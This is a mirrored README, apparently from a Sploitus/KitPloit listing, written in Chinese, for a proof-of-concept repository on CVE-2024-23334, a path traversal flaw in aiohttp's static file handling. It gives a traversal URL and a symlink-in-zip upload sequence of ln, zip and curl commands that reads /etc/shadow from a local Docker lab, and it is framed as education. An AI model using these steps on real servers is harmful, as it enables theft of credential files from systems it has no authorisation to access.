Sploitus

Exploit for poc

kitploit · 2026-09-07

Exploit Code

MARKDOWN123 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BRIAN-EDGAR-RE-POC-CVE-2024-23334
# poc-cve-2024-23334

此仓库包含关于利用 aiohttp 库中报告漏洞 CVE-2024-23334 的概念验证。

创建此仓库出于两个原因:

  1. **教育目的** :对于刚接触应用安全的人来说,有助于了解复现漏洞的步骤以及理解背后的概念。
  2. **修复步骤** :分享缓解措施以解决该问题。



更多信息,请访问我的网站:https://brianre.dev/

## 要求

  * 安装 Docker
  * 安装 Python3



## 如何本地运行项目

  1. 将此仓库克隆到本地。
  2. 运行以下命令构建镜像:



root@kitploit:~
    
    
    make build
    

  3. 运行以下命令启动容器:



root@kitploit:~
    
    
    make run
    

如果希望以分离模式运行 Docker,只需运行:

root@kitploit:~
    
    
    make rund
    

## 场景

  1. **修改 URL 以进行路径遍历并利用本地文件包含漏洞(LFI)** :要执行漏洞利用,请运行以下脚本:



root@kitploit:~
    
    
    python3 exploits/exploit_path_traversal.py
    

运行脚本时,我们向服务器发起一次原始 HTTP 请求。之所以这样做而不是使用 curl 或直接在浏览器中访问,是因为这些工具在发送 HTTP 请求前会执行路径清理和规范化。其中包括路径规范化:curl 和浏览器等工具会处理 URL 路径,移除用于目录遍历的 `..` 序列。因此,像 `/static/../../../../../../../../../../../../etc/shadow` 这样的路径会被规范化为 `/etc/shadow`,而由于标准 Web 服务器上通常不存在此类路径资源,会导致 404 错误。

  2. **已创建一个指向受限文件(如 /etc/shadow)的符号链接** :此场景最不可能发生,但公司内部人员可能利用这种方式泄露信息,而人们可能不会检查静态日志。如果静态文件访问未被记录,就很难识别信息何时被泄露。



本仓库中创建的场景仅用于解释该漏洞并证明其存在且仍可被利用。

  3. **有人可以向服务器上传符号链接并利用漏洞** :这是一个更真实的场景。我所做的是上传一个在我电脑上生成的符号链接,然后访问该文件,从而检索到像 /etc/shadow 这样的文件。



具体方法是通过压缩文件上传符号链接。这样,当压缩包在服务器上解压时,会生成同样的符号链接。如果直接用 curl 将符号链接作为 link.jpeg 文件上传,curl 只会读取符号链接所指向的本地文件,并上传原文件而非符号链接本身。因此,若要指向服务器文件系统的特定路径,我们需要上传一个压缩文件,例如 .zip 或 .tar.gz。

要复现第二个场景,请执行以下步骤:

root@kitploit:~
    
    
    touch /etc/shadow   # 在本地机器上指定的目录创建文件。请确保不会替换已有文件。
    ln -s /etc/shadow exploit.jpeg  # 创建指向 /etc/shadow 的符号链接,并将其命名为 exploit.jpeg
    zip -y images.zip exploit.jpeg  # 将符号链接压缩成 zip 文件
    curl -X POST -F "some-email@example.com" http://localhost:8080/upload # 上传 zip 文件
    curl -o shadow.txt http://localhost:8080/static/exploit.jpeg    # 访问符号链接,由于 aiohttp 存在漏洞,它会返回服务器上的 /etc/shadow
    

## 缓解措施

待办

## 开发

为了本地搭建开发环境,你需要:

  1. 创建虚拟环境。



root@kitploit:~
    
    
    python3 -m venv env
    

  2. 安装依赖。



root@kitploit:~
    
    
    pip3 install -r requirements.txt
    pip3 install -r test-requirements.txt
    

## 资源

  * https://vulners.com/cve/CVE-2024-23334
  * https://nvd.nist.gov/vuln/detail/CVE-2024-23334